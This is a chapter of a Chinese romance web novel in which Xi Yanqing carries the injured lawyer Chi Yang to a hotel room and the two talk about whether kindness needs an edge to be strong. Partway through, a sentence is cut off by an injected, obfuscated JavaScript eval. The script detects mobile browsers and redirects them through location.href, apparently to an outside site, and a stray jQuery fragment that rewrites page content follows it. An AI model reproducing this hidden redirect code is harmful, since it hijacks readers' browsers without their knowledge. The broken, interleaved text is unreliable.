33. 善良

作品:《惊鸿一掠十年灯

    得到肯定答复后,席砚卿一把从沙发上站起,走到她身边,再次相当民主地开口:“要我抱你过去吗?”


    池漾穿拖鞋的动作顿了顿,轻声说:“不用。”


    席砚卿无所谓地耸耸肩,似乎是早就料到她会这么说。


    然后,他动作利索地从池漾手中拿过东西,大步走到门口,提前为她开好门站在那里,好整以暇地等着她走过来。


    池漾:“......”


    我只是说不用你抱,但是你好歹也得扶着我吧。


    我不仅左脚踝肿了,右边的小腿也有擦伤啊!


    你让我怎么一个人走!


    不过,池漾这个人就是死犟,别人是能不求人就不求人,她是能求人也不求人!


    席砚卿站在门口,本来想等她能稍稍跟自己撒个娇、服个软,他哪舍得让她一个人走上去。


    结果,没想到,哪怕走起来异常艰难,池漾仍然没开口说一个字。


    席砚卿无奈地叹了口气,折返回她身边:“我说池律师,你也体恤我一下好不好?”


    池漾:“......”


    这什么意思,是你非要我去你那儿住的,并且我都没有让你抱了,我哪点不体恤你了?


    “就凭你这速度,我今晚看来是没觉睡了。”


    下一秒,席砚卿把东西往她怀里一塞,然后再一次打横抱起了她。


    池漾:“......”


    我感觉我这辈子的公主抱都在今天用完了......


    -


    席砚卿定的套房在六楼。


    这个点有不少住客回来,看到这一幕公主抱都纷纷投来钦羡的目光。


    甚至有些女生还按捺不住激动的情绪,丝毫不加掩饰地跟身边人感慨道:


    “那个男人也太帅了吧,还公主抱,她女朋友也太幸福了吧。”


    “我说你小点声,我刚才看他女朋友脸都红了。”


    “那也不是我弄脸红的啊。”


    ......


    池漾:忽然感觉我可以耳鸣的久一点。


    感觉到自己越来越发烫的脸颊,池漾用余光相当心虚地瞟了一眼席砚卿,在感觉他目光将要落下的那一刻,破罐破摔地把自己的脸埋在了他肩上。


    席砚卿察觉到她的动作,垂眸一笑,眼底似有桃枝斜逸,春风千里。


    走到电梯前的时候,席砚卿才叫她:“等会儿再害羞,先起来按个电梯。”


    池漾:“......”


    谁害羞了!


    她假装没有听到前半句话,腾出一双手,淡定地按下了上行键。


    正好有人从一楼上来,所以电梯到的很快。


    门开的那一瞬,电梯外的两个人和电梯里的人对上目光,继而面面相觑。


    尤其是池漾,看到电梯里站着这么多人,并且所有人的目光还都集中在他们两个人身上的时候,脸上红晕又添一层。


    虽然,两个人的位置还是有的。


    但问题是现在席砚卿抱着她,占据的空间就自然而然大了点。


    意识到这一点之后,池漾贴着席砚卿的耳垂,窃窃私语:“要不你先把我放下来吧。”


    耳畔传来一阵温热,席砚卿垂眸看她,然后对电梯里面的人说了句:“不好意思,我们等下一班好了。”


    但是!


    热心肠和看热闹可是我国国民的天性!


    深入基因难以改变的那种天性!


    乘电梯的人们看到电梯外站着的两个人,还是俊男靓女的经典组合,再加上公主抱的经典动作,忽然来了兴致,两个人还没进来,就默契十足地开始自觉往里挤给这对佳人腾空间。


    因此,席砚卿那句话一说出口,就立马收到了回应:“哎呀,等什么下一班啊,挤挤就好了。”


    接着便是此起彼伏的附和声:


    “对啊,挤挤就好了,这还这么大的空间呢!”


    “是啊,快进来吧。”


    “你男朋友都抱你这么久了,快让他进来歇歇。”


    “......”


    池漾听到这些话,把头埋在席砚卿肩上,直接装死。


    席砚卿偷笑一声,彬彬有礼地回绝着笑意:“谢谢你们的好意,但是她害羞,就不了吧。”


    电梯里的人只好悻悻地关上了电梯门,并且不约而同地发出了一声错过一场好戏的叹息。


    等周围都安静了之后,池漾才重新探出头来,准备再去按一次电梯。


    席砚卿却突然制止住她:“你怎么保证下一趟电梯里就没有人。”


    池漾:“......”


    我好像不能保证。


    那所以呢?


    没等她回答,席砚卿直接一个转身往步梯间走。


    当池漾意识到他要抱着自己上六楼的时候,惊得下巴都掉了。


    席砚卿一眼就看出她的心思,警告道:“不要妄图自己下来走,你身子动会给我增加工作量。所以,你要是心疼我,就安安生生地抱紧我,不要动。”


    池漾:“......”


    酒店的楼梯间安安静静,一盏盏声控灯,跟随着爬梯人的脚步,渐次发出柔和的光,将楼梯间切割出界限分明的明暗。


    池漾被他抱在怀里,听着他的脚步声,看着他为她踏亮的盏盏灯火,感受着他近在咫尺的眉目清风。


    他似苏轼《定风波》里的吟啸者,脚踏竹杖芒鞋,在她心头,吹醒一场料峭春风。


    她似李白《山中问答》里的会心者,心中自有碧山潺水,带他去往天朗气清。


    正所谓,“桃花流水窅然去,别有天地非人间。”


    也许是周遭太安静,也许是距离太贴近,也许是他的体温太熟悉。虽然两个人都没有说话,池漾却在心里生出一种,他们已经认识了很久的渊源感。


    不知不觉间,就到了六楼。


    席砚卿没跟池漾商量,就把她抱到了那个带独立卫浴的房间。


    在床上坐好之后,池漾没忍住问了句:“是不是很累?”


    席砚卿嗤然一笑:“就你这儿小身板,我抱一辈子都不嫌累。”


    一辈子?


    虽然知道他这话没有承诺的意思,池漾的心还是噗通噗通地跳个不停。


    心想还好她是等席砚卿把她放下之后才问的这个问题,要不这心跳速度,又跟上次测心率一样,昭然若揭了。


    这次,可没有人能替她解围了。


    席砚卿在她身边坐下,眉目和语气都温柔:“身体还有没有哪里不舒服?”


    这声音于寂静夜色中悄然响起,像极了从森林里流淌而出的小夜曲,丝丝入扣。


    池漾摇摇头,说没有。


    却忽然,鼻子泛酸。


    从漆黑冷寂的山路,到温暖明亮的房间,他抱着她,一路走来,担起了原本不需要他承担的责任与义务。


    想到这儿,池漾感觉自己的胸口就像是堵了一团热气,散不出去,也无处落脚。


    “我刚问了孟仲季,他说你们原定明天还有工作,”席砚卿为她排除着所有的后顾之忧,“我正好有个律师朋友来这边过暑假,专业能力绝对过关,对这边也比较熟悉,我让他明天带孟仲季过去。”


    灯影虚拢着他的轮廓,他声音低沉却温柔。


    池漾静静听着。


    静静听着他就这样云淡风轻地,揽下了又一个不需要他承担的责任与义务。


    她心中有愧,但一时间也找不到别的人来救场。


    再加上她现在这种情况,去了反倒是添麻烦。


    池漾只好点点头,硬着头皮说了声:“谢谢。”


    虽然知道这声谢谢再真诚,都抵不过他为她做的万分之一。


    “池漾。”


    “嗯。”糯糯一声,带着鼻音,带着一股惹人心疼的滋味。


    席砚卿把她的所有微表情都尽收眼底,问:“有话想跟我说吗?”


    闻言,池漾怔了下,随即挪开视线。窗外是无边的星幕,一轮圆月悬


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571451|171498||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    挂其间,皎皎如盘,充当夜色里最明亮的指引者。


    这轮圆月,她在几个小时前也看到过。


    在她被痛感侵袭的时候,在她被寒意吞噬的时候,在她被恐惧和绝望打败的时候。


    那一刻,她不是没有想过最坏的可能。


    可最后,她却像做梦一样,于漫山遍野的恐惧和绝望中,捕捉到了他的身影。


    那一刹那,心里什么不怕了。


    死都不怕的那种。


    想到这儿,池漾心底涌出一股难言的酸涩。


    她把这份情绪压在心底,从窗外收回目光:“席总监,你第一次来律所的时候,问过我一个问题。你问我,法律对我而言是锋芒吗?你为什么要那么问我?”


    他坐在从窗外溜进来的月光里,肩头一片橙意:“因为看到了你的简介上写的那句话。”


    ——所谓强大,是有锋芒的善良。


    池漾继续追问:“那你觉得这句话对吗?”


    席砚卿就沉默了那么一瞬,池漾就“剥夺”了他说话的权利。


    她摇摇头,自我否定道:“我觉得不对。”


    “席总监,在你今天找到我之前,我一直在想一件事情。我在想,如果我出了事儿,孟仲季该怎么办。”她嗓音沾染上几分低哑,“明明是我强势要求,让他跟村长一块上去拿手机的。是我要求的,不是他。可是,如果今天他没有遇到碰巧来这边出差的你,你又没有找到我,如果我真的出了事儿,他该怎么办。”


    “所有人都会怪他,怪他把我丢下,怪他没有把我照顾好。”她声音带着哽意,“可事实,明明不是这样的。但孟仲季哪怕知道事实,他也不会去为自己辩解,他只会,不停地责怪自己。所以你看,虽然我们是出于善意来做的法援,但我差一点儿,就毁了他的一生,对不对?我这份自以为强大的善良,差点儿毁了他的一生,对不对?”


    席砚卿心间突然泛起一种强烈的酸楚。


    他很少让自己陷入这样的境地。


    ——为一些莫须有的事情,付出真情实感。


    但此刻,他在劫难逃。


    他忽然觉得难过。


    在那样的时刻,她心里想的事情是:如果她出了事儿,别人会有多自责。


    却不关乎自己。


    他没遇见过这样的人。


    不管是十年前的惊鸿一瞥,还是前一段偷偷塞给服务员的那张纸条,还是现如今,她在夜色中的喃喃低语。


    她太善良了。


    “嗯,那话不对。”


    苍茫夜色里,他声音如缓慢涨起的潮,姗姗来迟地溢满了这寸方隅。


    池漾闻言,倏地低了低头。


    弯下来的后颈曲线,莹白纤细,显得羸弱。


    他突然,很想抱抱她。


    但捻了捻指腹,最终还是忍住了。


    没身份,也没资格。


    “池漾,”他在月色下叫她的名字,“善良就是强大,不需要任何的附加条件。”


    夜沉至此时,无雨也无风。


    池漾抬眸,对上他的双眼。


    他目光沉静似湖,睫毛浓密似桨,将这浓稠的夜色,划开了一道月影。


    他就沐在这片月光里:“没有锋芒的善良、没有棱角的善良、没有智慧的善良、没有深思熟虑的善良,都是强大。”


    在此刻,她听到他的声音。


    ——柔软的、干净的、和煦的、澄澈的。


    他温言暖语地,继续为她的心挡走一点风:“莽撞的善良、不计后果的善良、甚至让结果变得更糟糕的善良,也是一种强大。”


    在此刻,她听懂他的弦外之音。


    ——他刚才的那句否定,不是在推翻自己那句话,而是为自己那句话,拓展了边界。


    “所以,你的善良没有错。”


    你的善良没有错。


    没有人会因为你的善良遭受考验。


    你也不会。


    因为,有我在,你永远都不会有事。